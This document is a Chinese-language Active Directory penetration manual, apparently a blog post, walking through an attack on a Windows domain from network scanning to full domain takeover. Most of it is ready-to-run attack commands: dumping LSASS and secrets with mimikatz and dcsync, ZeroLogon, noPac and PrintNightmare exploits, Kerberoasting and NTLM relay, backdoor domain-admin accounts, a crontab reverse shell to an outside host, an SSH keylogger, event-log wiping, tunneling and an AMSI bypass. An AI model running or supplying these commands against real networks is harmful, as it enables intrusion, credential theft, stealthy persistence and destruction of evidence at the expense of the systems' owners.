域渗透一条龙手册
1.无凭证情况下
网络扫描
1 | cme smb <ip_range> # SMB 扫描存活主机 |
漏洞快速探测
扫描后可以去先用已知漏洞打
1 | java rmi: exploit/multi/misc/java_rmi_server |
提权
低权限可以做的事情
1 | winpeas.exe |
拥有本地管理员权限
获取密码
1 | procdump.exe -accepteula -ma lsass.exe lsass.dmp |
绕过LSA防护策略读取密码
1 | PPLdump64.exe <lsass.exe|lsass_pid> lsass.dmp |
token窃取
1 | .\incognito.exe list_tokens -u |
之前粗略分析过 token
Token窃取那些事 (0range-x.github.io)
查看本地存储的所有密码
1 | lazagne.exe all |
卷影拷贝(获取域控所有hash)
1 | diskshadow list shadows all |
1 | 管理员权限执行 |
CVE-2020-1472的分析与复现 (0range-x.github.io)
dpapi解密
2.内网信息收集
本机信息收集
1 | 1、用户列表 net user /domain |
8.获取当前用户密码
Windows
Linux
浏览器
- HackBrowserData
- SharpWeb
- SharpDPAPI
- 360SafeBrowsergetpass
- BrowserGhost
- Browser-cookie-steal(窃取浏览器cookie)
Navicat密码
版本:Navicat 11或12
方法:https://blog.csdn.net/CCESARE/article/details/104746596
解密脚本:https://github.com/tianhe1986/FatSmallTools
https://github.com/HyperSine/how-does-navicat-encrypt-password
xshell&xftp密码
https://github.com/dzxs/Xdecrypt
mRemoteNG密码
https://github.com/kmahyyg/mremoteng-decrypt
https://github.com/haseebT/mRemoteNG-Decrypt
扩散信息收集
常用端口扫描工具
- nmap
- masscan
- zmap
- s扫描器
- 自写脚本
- nc
- ……
内网拓扑架构分析
- DMZ
- 管理网
- 生产网
- 测试网
常见信息收集命令
ipconfig:
1 | ipconfig /all ------> 查询本机 IP 段,所在域等 |
net
1 | net user ------> 本机用户列表 |
dsquery
1 | dsquery computer domainroot -limit 65535 && net group "domain |
第三方信息收集
- NETBIOS 信息收集
- SMB 信息收集
- 空会话信息收集
- 漏洞信息收集等
3.获取域控的方法
SYSVOL
SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。 相关阅读:
- 寻找SYSVOL里的密码和攻击GPP(组策略偏好)
- Windows Server 2008 R2之四管理Sysvol文件夹
- SYSVOL中查找密码并利用组策略首选项
- 利用SYSVOL还原组策略中保存的密码
MS14-068 Kerberos
1 | python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机 |
利用mimikatz将工具得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书:
1 | mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit |
相关阅读 :
SPN扫描
Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包。 SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类,主机名和端口组成。在使用Kerberos身份验证的网络中,必须在内置计算机帐户(如NetworkService或LocalSystem)或用户帐户下为服务器注册SPN。对于内部帐户,SPN将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户的手动注册SPN。 SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,SPN查询是Kerberos的票据行为一部分,因此比较难检测SPN扫描。 相关阅读 :
Kerberos的黄金门票
在域上抓取的哈希
1 | lsadump::dcsync /domain:pentest.com /user:krbtgt |
相关阅读 :
Kerberos的银票务
黄金票据和白银票据的一些区别: Golden Ticket:伪造TGT
,可以获取任何Kerberos
服务权限 银票:伪造TGS,只能访问指定的服务
加密方式不同: Golden Ticket由krbtgt
的hash加密 Silver Ticket由服务账号
(通常为计算机账户)Hash加密 认证流程不同: 金票在使用的过程需要同域控通信 银票在使用的过程不需要同域控通信 相关阅读 :
- 攻击者如何使用Kerberos的银票来利用系统
- [域渗透——Pass The Ticket](https://www.feiworks.com/wy/drops/域渗透——Pass The Ticket.pdf)
域服务账号破解
与上面SPN扫描类似的原理 https://github.com/nidem/kerberoast 获取所有用作SPN的帐户
1 | setspn -T PENTEST.com -Q */* |
从Mimikatz的RAM中提取获得的门票
1 | kerberos::list /export |
用rgsrepcrack破解
1 | tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi |
凭证盗窃
从搜集的密码里面找管理员的密码
NTLM relay
用于主动让目标机器发起NTLM请求的方法:
Relay LDAP:
Relay AD CS/PKI:
集成几个利用的工具:
内网445端口转发:
Kerberos委派
- Wagging-the-Dog.html
- s4u2pwnage
- Attacking Kerberos Delegation
- 用打印服务获取域控
- Computer Takeover
- Combining NTLM Relaying and Kerberos delegation
- CVE-2019-1040
地址解析协议
实在搞不定再搞ARP
zerologon漏洞
1 | python3 cve-2020-1472-exploit.py <MACHINE_BIOS_NAME> <ip> |
CVE-2020-1472的分析与复现 (0range-x.github.io)
**1、利用Mimikatz **check
1 | lsadump::zerologon /target:dc1.exploit.local /account:dc1$ |
exploit
1 | lsadump::zerologon /target:dc1.exploit.local /account:dc1$ /exploit |
dcsync
1 | lsadump::dcsync /dc:dc1.exploit.local /authuser:dc1$ /authdomain:exploit.local /authpassword:"" /domain:exploit.local /authntlm /user:krbtgt |
restore
1 | lsadump::postzerologon /target:conttosson.locl /account:dc$ |
2、利用impacket:
- 取目标主机名+IP
- install 修改版本的impacket
- Exp
1 | python cve-2020-1472-exploit.py DC2008 10.211.55.200 |
1 | secretsdump.py -no-pass cgdomain.com/'DC2008$'@10.211.55.200 -history -just-dc-user administrator |
获取到旧的密码明文hex,还原
1 | python restorepassword.py cgdomain.com/DC2008@DC2008 -target-ip 10.211.55.200 -hexpass 59958639cbdd4523de5d42b01adb0e256e0d39aef14c8eef31f4c078862109f253bbb7b3817ab123d013856c028fa4993f5f5b9a830a3a98d87483b29df3fb55082a1f464b19220a2c04f6605d2d321a04afbb551f8f19a13d399f9f5af2aa23c5b76b49001033516fefd90cb0348256e8282b22cbf9e70d82a8b8d2916d578246e288af3af727533d36ad8950fe1c513771377d98a947c4a8eae2b581a74b6687a2e533b7e89e8d03c2e6c2123d519489869a6e33d3a8884be33107060b62e2852502261f48c097ddb68750cc55b7688cc951441cf02989a307f55c008e978edbaf31766d17b53505016c7580cb480b |
恢复方法2
通过wmic, pass the hash 拿到域控制器中的本地管理员权限(域管)
1 | wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/Administrator@10.211.55.38 |
然后分别执行,拷贝本机中SAM数据库到本地
1 | - reg save HKLM\SYSTEM system.save |
提取明文hash
1 | secretsdump.py -sam sam.save -system system.save -security security.save LOCAL |
然后恢复。
CVE-2021-42278 && CVE-2021-42287
noPac: CVE-2021-42287/CVE-2021-42278
1 | ./noPac.exe -domain dc.com -user username -pass 'password' /dc owa.dc.com |
4.列出可匿名访问的SMB共享
1 | enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip> |
5.枚举LDAP
1 | nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip> |
6.查找用户名
1 | enum4linux -U <dc-ip> | grep 'user:' |
得到账号,但是没有密码
密码喷洒
1 | 获取域密码策略 : |
ASREP-Roasting攻击
获取hash
1 | python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat -outputfile <hashes.domain.txt> |
获取ASREP-Roastable账号
1 | Get-DomainUser -PreauthNotRequired -Properties SamAccountName |
拿到任意一个域用户的账号密码
获取其他账户密码
1.获取域内所有账户名
1 | GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username> |
2.枚举 SMB 共享
1 | cme smb <ip> -u <user> -p <password> --shares |
3.bloodhound
1 | bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all |
4.powerview / pywerview
Kerberoasting攻击
获取hash
1 | GetUserSPNs.py -request -dc-ip <dc_ip> <domain>/<user>:<password> |
查找 kerberoastable 账号
1 | Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName |
MS14-068
FindSMB2UPTime.py
1 | rpcclient $> lookupnames <name> |
1 | goldenPac.py -dc-ip <dc_ip> <domain>/<user>:'<password>'@<target> |
1 | kerberos::ptc "<ticket>" |
PrintNightmare
1 | CVE-2021-1675.py <domain>/<user>:<password>@<target> '\\<smb_server_ip>\<share>\inject.dll' |
枚举 DNS 服务器
1 | dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip> |
7.relay/poisoning攻击
扫描没开启SMB签名的机器
1 | nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK |
PetitPotam
1 | PetitPotam.py -d <domain> <listener_ip> <target_ip> |
后续可以跟着adcs攻击
监听
1 | responder -i eth0 |
无SMB签名 || 开启IPv6 || ADCS
1.MS08-068
1 | use exploit/windows/smb/smb_relay #常用于windows2003 / windows server2008 |
1 | responder -I eth0 # 记得先关闭本机的 smb 和 http 服务 |
2.mitm6 -i eth0 -d
1 | ntlmrelayx.py -6 -wh <attacker_ip> -l /tmp -socks -debug |
3.adcs
1 | ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController |
拿到hash破解
1.LM
1 | john --format=lm hash.txt |
2.NTLM
1 | john --format=nt hash.txt |
3.NTLMv1
1 | john --format=netntlm hash.txt |
4.NTLMv2
1 | john --format=netntlmv2 hash.txt |
5.Kerberos 5 TGS
1 | john spn.txt --format=krb5tgs --wordlist=rockyou.txt |
6.Kerberos ASREP
1 | hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt |
9.横向移动
1.PTH
1 | psexec.py -hashes ":<hash>" <user>@<ip> |
2.PTK
1 | python getTGT.py <domain>/<user> -hashes :<hashes> |
3.非约束委派
获取票据
1 | privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export |
查找非约束委派主机
1 | Get-NetComputer -Unconstrained |
4.约束委派
获取票据
1 | privilege::debug sekurlsa::tickets /export sekurlsa::tickets / |
查找约束委派主机
1 | Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo |
5.基于资源的约束委派
6.dcsync
1 | lsadump::dcsync /domain:htb.local /user:krbtgt # Administrators, Domain Admins, Enterprise Admins 组下的账户都行 |
7.打印机 SpoolService 漏洞利用
1 | rpcdump.py <domain>/<user>:<password>@<domain_server> | grep MS-RPRN |
8.AD域ACL攻击(aclpwn.py)
1 | GenericAll on User |
9.获取LAPS管理员密码
1 | Get-LAPSPasswords -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSize |
10.privexchange漏洞
1 | python privexchange.py -ah <attacker_host_or_ip> <exchange_host> -u <user> -d <domain> -p <password> |
Exchange的利用
- Exchange2domain
- CVE-2018-8581
- CVE-2019-1040
- CVE-2020-0688
- NtlmRelayToEWS
- ewsManage
- CVE-2021-26855
- CVE-2021-28482
11.IPC
1 | net use \\ip\ipc$ "password" /user:"administrator" |
12.其他横移
1 | 1.向WSUS服务器数据库注入恶意程序更新 WSUSpendu.ps1 # 需要先拿下 WSUS 更新分发服务器 |
10.权限维持
拿到域控权限
dump ntds.dit 文件
1 | crackmapexec smb 127.0.0.1 -u <user> -p <password> -d <domain> --ntds |
后门
1 | net group "domain admins" myuser /add /domain |
域信任关系
子域攻击父域 - SID History版跨域黄金票据
1 | Get-NetGroup -Domain <domain> -GroupName "Enterprise Admins" -FullData|select objectsid |
利用域信任密钥获取目标域的权限 - 信任票据
1 | "lsadump::trust /patch" |
攻击其它林
1 | 利用ptintbug或petipotam漏洞使其它林的DC主动连接到本林的一台无约束委派主机,同时抓取发送过来的TGT,然后即可将它用于dcsync攻击 |
活动目录持久性技巧
https://adsecurity.org/?p=1929 DS恢复模式密码维护 DSRM密码同步
Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。KB961320:https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni,可参考:[巧用DSRM密码同步将域控权限持久化](http://drops.xmd5.com/static/drops/tips-9297.html)
Security Support Provider
简单的理解为SSP就是一个DLL,用来实现身份认证
1 | privilege::debug |
这样就不需要重启c:/windows/system32
可看到新生成的文件kiwissp.log
SID History
SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户
1 | mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator" |
AdminSDHolder&SDProp
利用AdminSDHolder&SDProp(重新)获取域管理权限
Dcsync后门
向域成员赋予Dcsync权限
1 | Powerview.ps1 |
在登录了test1域账户的机器上执行Dcsync利用操作
1 | mimikatz "lsadump::dcsync /domain:vulntarget.com /all /csv" |
组策略
https://adsecurity.org/?p=2716 策略对象在持久化及横向渗透中的应用
Hook PasswordChangeNotify
Kerberoasting后门
AdminSDHolder
Backdooring AdminSDHolder for Persistence
Delegation
Unconstrained Domain Persistence
证书伪造: pyForgeCert
11.敏感文件
windows
敏感配置文件
1 | C:\boot.ini //查看系统版本 |
Linux
敏感配置文件
1 | #判断是否在docker容器内 |
12.权限提升
Windows
bypass UAC
常用方法
- 使用IFileOperation COM接口
- 使用Wusa.exe的extract选项
- 远程注入SHELLCODE 到傀儡进程
- DLL劫持,劫持系统的DLL文件
- eventvwr.exe and registry hijacking
- sdclt.exe
- SilentCleanup
- wscript.exe
- cmstp.exe
- 修改环境变量,劫持高权限.Net程序
- 修改注册表HKCU\Software\Classes\CLSID,劫持高权限程序
- 直接提权过UAC
- ……
常用工具
提权
- windows内核漏洞提权
- 服务提权
数据库服务,ftp服务等
- WINDOWS错误系统配置
- 系统服务的错误权限配置漏洞
- 不安全的注册表权限配置
- 不安全的文件/文件夹权限配置
- 计划任务
- 任意用户以NT AUTHORITY\SYSTEM权限安装msi
- 提权脚本
Linux
内核溢出提权
计划任务
1 | crontab -l |
SUID
1 | find / -user root -perm -4000 -print 2>/dev/null |
寻找可利用bin:https://gtfobins.github.io/
环境变量
1 | cd /tmp |
系统服务的错误权限配置漏洞
1 | cat /var/apache2/config.inc |
不安全的文件/文件夹权限配置
1 | cat ~/.bash_history |
找存储的明文用户名,密码
1 | grep -i user [filename] |
13.权限维持
Windows
1、密码记录工具
WinlogonHack WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有 一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截 取 Windows XP 以及 Windows 2003 Server。 键盘记录器 安装键盘记录的目地不光是记录本机密码,是记录管理员一切的密码,比如说信箱,WEB 网页密码等等,这样也可以得到管理员的很多信息。 NTPass 获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件,会导致远程登录的时候出现故障,本软件可实现无障碍截取口令。 Linux 下 openssh 后门 重新编译运行的sshd服务,用于记录用户的登陆密码。
2、常用的存储Payload位置
WMI : 存储:
1 | $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null) |
读取:
1 | $Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value |
包含数字签名的PE文件 利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名 特殊ADS …
1 | type putty.exe > ...:putty.exe |
特殊COM文件
1 | type putty.exe > \\.\C:\test\ads\COM1:putty.exe |
磁盘根目录
1 | type putty.exe >C:\:putty.exe |
3、Run/RunOnce Keys
用户级
1 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run |
管理员
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
4、BootExecute Key
由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元,具体注册表键值为:
1 | HKLM\SYSTEM\CurrentControlSet\Control\hivelist |
5、Userinit Key
WinLogon进程加载的login scripts,具体键值:
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon |
6、Startup Keys
1 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders |
7、Services
创建服务
1 | sc create [ServerName] binPath= BinaryPathName |
8、Browser Helper Objects
本质上是Internet Explorer启动时加载的DLL模块
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects |
9、AppInit_DLLs
加载User32.dll会加载的DLL
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs |
10、文件关联
1 | HKEY_LOCAL_MACHINE\Software\Classes |
11、bitsadmin
1 | bitsadmin /create backdoor |
12、mof
1 | pragma namespace("\\\\.\\root\\subscription") |
管理员执行:
1 | mofcomp test.mof |
13、wmi
每隔60秒执行一次notepad.exe
1 | wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" |
14、Userland Persistence With Scheduled Tasks
劫持计划任务UserTask,在系统启动时加载dll
1 | function Invoke-ScheduledTaskComHandlerUserTask |
15、Netsh
1 | netsh add helper c:\test\netshtest.dll |
后门触发:每次调用netsh
16、Shim
常用方式: InjectDll RedirectShortcut RedirectEXE
17、DLL劫持
通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程 使用:Procmon半自动测试更精准,常规生成的dll会导致程序执行报错或中断,使用AheadLib配合生成dll劫持利用源码不会影响程序执行
工具:https://github.com/sensepost/rattler
工具:https://github.com/Yonsm/AheadLib
dll劫持不多说
18、DoubleAgent
编写自定义Verifier provider DLL 通过Application Verifier进行安装 注入到目标进程执行payload 每当目标进程启动,均会执行payload,相当于一个自启动的方式 POC : https://github.com/Cybellum/DoubleAgent
19、waitfor.exe
不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe POC : https://github.com/3gstudent/Waitfor-Persistence
20、AppDomainManager
针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制
21、Office
劫持Office软件的特定功能:通过dll劫持,在Office软件执行特定功能时触发后门 利用VSTO实现的office后门 Office加载项
- Word WLL
- Excel XLL
- Excel VBA add-ins
- PowerPoint VBA add-ins
参考1 :https://3gstudent.github.io/Use-Office-to-maintain-persistence
参考2 :https://3gstudent.github.io/Office-Persistence-on-x64-operating-system
22、CLR
无需管理员权限的后门,并能够劫持所有.Net程序 POC:https://github.com/3gstudent/CLR-Injection
23、msdtc
利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测 利用:向 %windir%\system32\目录添加dll并重命名为oci.dll
24、Hijack CAccPropServicesClass and MMDeviceEnumerato
利用COM组件,不需要重启系统,不需要管理员权限 通过修改注册表实现 POC:https://github.com/3gstudent/COM-Object-hijacking
25、Hijack explorer.exe
COM组件劫持,不需要重启系统,不需要管理员权限 通过修改注册表实现
1 | HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1} |
26、Windows FAX DLL Injection
通过DLL劫持,劫持Explorer.exe对fxsst.dll
的加载 Explorer.exe在启动时会加载c:\Windows\System32\fxsst.dll
(服务默认开启,用于传真服务)将payload.dll保存在c:\Windows\fxsst.dll
,能够实现dll劫持,劫持Explorer.exe对fxsst.dll
的加载
27、特殊注册表键值
在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API)。
28、快捷方式后门
替换我的电脑快捷方式启动参数 POC : https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1
29、Logon Scripts
1 | New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -propertyType string | Out-Null |
30、Password Filter DLL
31、利用BHO实现IE浏览器劫持
Linux
crontab
每60分钟反弹一次shell给dns.wuyun.org的53端口
1 | #!bash |
硬链接sshd
1 | #!bash |
链接:ssh root@192.168.206.142 -p 2333
SSH Server wrapper
1 | #!bash |
SSH keylogger
vim当前用户下的.bashrc文件,末尾添加
1 | #!bash |
source .bashrc
Cymothoa_进程注入backdoor
1 | ./cymothoa -p 2270 -s 1 -y 7777 |
rootkit
- openssh_rootkit
- Kbeast_rootkit
- Mafix + Suterusu rootkit
Tools
14.痕迹清理
Windows日志清除
获取日志分类列表:
1 | wevtutil el >1.txt |
获取单个日志类别的统计信息: eg.
1 | wevtutil gli "windows powershell" |
回显:
1 | creationTime: 2016-11-28T06:01:37.986Z |
查看指定日志的具体内容:
1 | wevtutil qe /f:text "windows powershell" |
删除单个日志类别的所有信息:
1 | wevtutil cl "windows powershell" |
破坏Windows日志记录功能
利用工具
Metasploit
1 | run clearlogs |
3389登陆记录清除
1 | @echo off |
15.内网穿透
区分正向代理与反向代理
A—-b—-C
1 | A去请求C,B作为代理,代替A去访问C,并将返回的结果转发给A 那么B就是正向代理 |
0x01 场景与思路分析
场景一:内网防火墙对出口流量没有任何端口限制
思路 :由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活,如:反弹shell
场景二:内网防火墙仅允许内网主机访问外网的特定端口(如:80, 443)
思路:由于防火墙仅允许部分特定外网端口可以访问,思路一仍然是反弹shell只不过目标端口改成特定端口即可;思路二则是端口转发,将内网主机的某些服务的端口转发到外网攻击主机上的防火墙允许的特定端口上,再通过连接外网主机上的本地端口来访问内网服务
方法一:反弹shell可参考场景一中的方法,仅需修改目标端口为防火墙允许的特定端口即可
方法二:端口转发
方法三:SSH的动态端口转发配合proxychains来代理所有流量进一步渗透内网
1.在内网主机上执行
1 | ssh -f -N -R 2222:127.0.0.1:22 -p 80 root@192.168.0.230 |
2.在外网主机上执行
1 | ssh -f -N -D 127.0.0.1:8080 -p 2222 avfisher@127.0.0.1 |
3.在外网主机上配置proxychains设置socks4代理
1 | $ vim /etc/proxychains.conf |
4.使用proxychains代理所有流量进入内网
1 | proxychains nc -nv 10.0.2.5 3306 |
场景三:TCP不出网-HTTP代理
一.reGeorg
reGeorg原版:https://github.com/sensepost/reGeorg
reGeorg修改版:https://github.com/L-codes/Neo-reGeorg
假设拿到的Webshell是http://aaa.com/shell.jsp,以原版reGeorg为例。
上传reGeorg中的 tunnel.jsp,假设当前URL为http://aaa.com/tunnel.jsp
在本地PC运行如下命令
1 | python reGeorgSocksProxy.py -p 8080 -h 0.0.0.0 -u http://aaa.com/tunnel.jsp |
此时,将在本地PC的8080开启一个Socks端口,使用Proxifier即可进行代理。需要注意的是,由于这个http代理隧道比较脆弱,建议根据每个目标host单独添加规则,最好不要设置成全局代理。
二.pystinger
蜂刺-stinger_client
整体结构:
1.上传 proxy.jsp到目标Web服务器,上传stinger_server/stinger_server.exe到目标系统。
2.使用Webshell启动stinger_server
1 | Linux: |
3.VPS服务端启动监听
1 | ./stinger_client -w http://aaa.com/proxy.jsp -l 0.0.0.0 -p 60000 |
以上操作成功后,VPS会监听60000端口,接下来直接配置好Proxifier就可以访问目标内网了。
特别注意:这个代理也不是很稳定,有时候会断开(Wrong data)。遇到断开情况后,手动kill stinger_server进程 再启动,最后重启VPS服务端stinger_client即可
场景四 TCP出网-socks代理
搭建步骤:
1.VPS运行服务端
1 | ./frps -c frps.ini |
注:建议用Screen将frp挂起到后台,Screen挂起程序参考用screen 在后台运行程序 - 简书
frps.ini内容:
1 | [common] |
2.使用VPS将frpc frpc.ini上传到主机tmp目录,然后运行
1 | Linux: |
注:有时候用Webshell管理工具会上传失败或上传文件不完整,可以cd到frp目录,在vps使用 python -m SimpleHTTPServer 80
启动一个webserver,然后在客户端使用 curl http://vpsip/frpc
下载文件。
以上操作成功后,VPS控制台会有输出,然后VPS会启动一个10001端口,接下来直接配置好Proxifier就可以访问目标内网了。
Proxifier使用参考:Proxifier Socks5 代理(内网访问、远程办公)
ps:frp会涉及到免杀的问题,这里推荐另一个代理工具,体积更小,可以看作是rust版本的frp
0x02 Lcx
内网IP:192.168.183.168
公网IP:192.168.183.181
端口转发
内网机器上执行命令:lcx.exe –slave 公网IP 端口 内网IP 端口
将内网的3389端口转发到公网的6666端口
1 | lcx.exe -slave 192.168.183.181 6666 192.168.183.168 3389 |
公网机器上执行命令:lcx.exe -listen 监听端口 连接端口
将在6666端口接收到的数据转发到2222端口
1 | lcx.exe -listen 6666 2222 |
使用命令mstsc /v:127.0.0.1:2222
即可连接到内网3389端口
端口映射
如果内网机器防火墙禁止3389出站,可以使用tran命令将3389端口映射到其他端口上
内网机器上执行命令:lcx.exe -tran 映射端口 连接IP 连接端口
1 | lcx.exe -tran 66 192.168.183.168 3389 |
因为实验环境是内网所以直接连接66端口即可访问3389端口,公网还需要端口转发
0x03 SSH隧道
1 | ssh参数详解: |
SSH本地转发
语法格式:
1 | ssh -L [local_bind_addr:]local_port:remote:remote_port middle_host |
远程管理服务器上的mysql,mysql不能直接root远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到1234端口。
1 | ssh -CfNg -L 2222:127.0.0.1:3306 root@139.196.xx.xx |
工作原理:在本地指定一个由ssh监听的转发端口2222,将远程主机的3306端口(127.0.0.1:3306)映射到本地的2222端口,当有主机连接本地映射的2222端口时,本地ssh就将此端口的数据包转发给中间主机VPS,然后VPS再与远程主机端口(127.0.0.1:3306)通信。
数据流向:Kali -> 2222 -> VPS -> 127.0.0.1:3306
SSH远程转发
语法格式:
1 | ssh -R [bind_addr:]remote1_port:host:port remote1 |
假设kali开了一个80端口的web服务,外网无法访问,使用远程转发,将kali的80端口转发到外网的其他端口,这时候访问外网的端口,就访问到了内网的端口。
1 | ssh -CfNg -R 4444:127.0.0.1:80 root@192.168.183.195 |
此时在192.168.183.195这台主机上访问127.0.0.1:4444端口即可访问到kali的80端口
工作原理:kali在请求外网主机的sshd服务,在外网主机上建立一个套接字监听端口(4444),它是kali的80端口的映射,当有主机连接外网的4444端口时,连接的数据全部转发给kali,再由kali去访问127.0.0.1:80。
这里要注意一点,远程端口转发是由远程主机上的sshd服务控制的,默认配置情况下,sshd服务只允许本地开启的远程转发端口(4444)绑定在环回地址(127.0.0.1)上,即使显式指定了bind_addr也无法覆盖。也就是这里访问127.0.0.1:4444端口可以访问成功,访问192.168.183.195:4444却不能访问成功。
要允许本地的远程转发端口绑定在非环回地址上,需要在外网主机的sshd配置文件中启用”GatewayPorts”项,它的默认值为no,这里将它改为yes。然后重新远程转发一下即可用外网地址访问。
SSH动态转发,正向代理做动态的端口转发
本地或远程转发端口和目标端口所代表的应用层协议是一对一的关系,不同的服务就要建立不同的端口,工作很是繁琐,而动态转发只需绑定一个本地端口,而目标端口是根据你发起的请求决定的,比如请求为445端口,通过ssh转发的请求也是445端口。
语法格式:
1 | ssh -D [bind_addr:]port remote |
这里举一个最简单的列子:翻墙。国内正常情况下上不了Google,我们可以通过将流量转发到国外的vps上这样就可以正常访问了。
在本地执行以下命令,并查看建立连接情况
1 | ssh -Nfg -D 3333 root@45.77.xx.xx |
连接建立成功,设置浏览器到本地主机的3333端口
SSH动态转发,正向代理进行单一的端口转发
利用ssh -L 提供正向代理,将192.168.183.2的80端口映射到45.77.xx.xx的1111端口上
访问45.77.xx.xx:1111相当于访问192.168.183.2:80 中间需要192.168.183.1的ssh进行正向代理进行利用。
语法格式:
1 | ssh -L 45.77.xx.xx:1111:192.168.183.2:80 root@192.168.183.1 |
此时我们访问45.77.xx.xx的1111端口就相当于访问内网不出网机器的192.168.183.2:80
16.Bypass AMSI
管理员权限关闭amsi
1 | Set-MpPreference -DisableRealtimeMonitoring $true |
一键关闭AMSI
1 | [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPubilc,Static').SetValue($null,$true) |
被加黑了,可以混淆过
powershell降级
1 | powershell.exe -version 2 //改变powershell运行版本 |
内存补丁
1 | $p=@" |
参考链接:
1 | https://github.com/NyDubh3/Pentesting-Active-Directory-CN |
Peace.